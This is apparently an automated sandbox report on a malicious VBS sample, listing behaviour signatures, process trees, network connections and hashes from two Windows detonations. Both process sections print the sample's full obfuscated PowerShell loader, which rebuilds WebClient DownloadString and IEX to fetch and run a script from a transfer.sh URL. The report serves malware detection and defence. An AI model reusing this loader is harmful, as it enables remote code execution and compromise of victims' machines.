Analysis Overview
SHA256
d424a08c1e1eac484c029a6ef4008bf991aebf26a86aa02fecd18ad60bb24a0f
Threat Level: Known bad
The file 498b038f610b49e31b24ac641a1010d4.unknown was found to be: Known bad.
Malicious Activity Summary
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-01-07 19:37
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-01-07 19:37
Reported
2024-01-07 19:41
Platform
win7-20231215-en
Max time kernel
120s
Max time network
162s
Command Line
Signatures
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2176 wrote to memory of 2068 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2176 wrote to memory of 2068 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2176 wrote to memory of 2068 | N/A | C:\Windows\System32\WScript.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
Network
Files
memory/2068-4-0x000000001B2F0000-0x000000001B5D2000-memory.dmp
memory/2068-5-0x0000000002290000-0x0000000002298000-memory.dmp
memory/2068-9-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2068-8-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2068-10-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
memory/2068-7-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2068-6-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
memory/2068-11-0x0000000002940000-0x00000000029C0000-memory.dmp
memory/2068-12-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-01-07 19:37
Reported
2024-01-07 19:39
Platform
win10v2004-20231215-en
Max time kernel
0s
Max time network
52s
Command Line
Signatures
Enumerates physical storage devices
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\498b038f610b49e31b24ac641a1010d4.vbs"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/get/1jmaVDV/model.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | transfer.sh | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.200:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.53.126.40.in-addr.arpa | udp |
| NL | 52.142.223.178:80 | tcp | |
| DE | 144.76.136.153:80 | transfer.sh | tcp |
| US | 8.8.8.8:53 | 49.179.17.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.228.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.165.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.110.16.96.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.110.54.20.in-addr.arpa | udp |
| GB | 96.17.178.74:80 | tcp | |
| GB | 96.17.178.74:80 | tcp | |
| US | 93.184.221.240:80 | tcp | |
| GB | 96.17.178.74:80 | tcp | |
| GB | 96.17.178.74:80 | tcp |
Files
memory/2632-9-0x00000154FCEA0000-0x00000154FCEC2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rn0n0x4w.4yq.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2632-12-0x00000154FCF80000-0x00000154FCF90000-memory.dmp
memory/2632-11-0x00000154FCF80000-0x00000154FCF90000-memory.dmp
memory/2632-10-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp
memory/2632-13-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp
memory/2632-14-0x00000154FCF80000-0x00000154FCF90000-memory.dmp
memory/2632-15-0x00000154FCF80000-0x00000154FCF90000-memory.dmp
memory/2632-19-0x00007FFD39420000-0x00007FFD39EE1000-memory.dmp
memory/2632-16-0x00000154FCF80000-0x00000154FCF90000-memory.dmp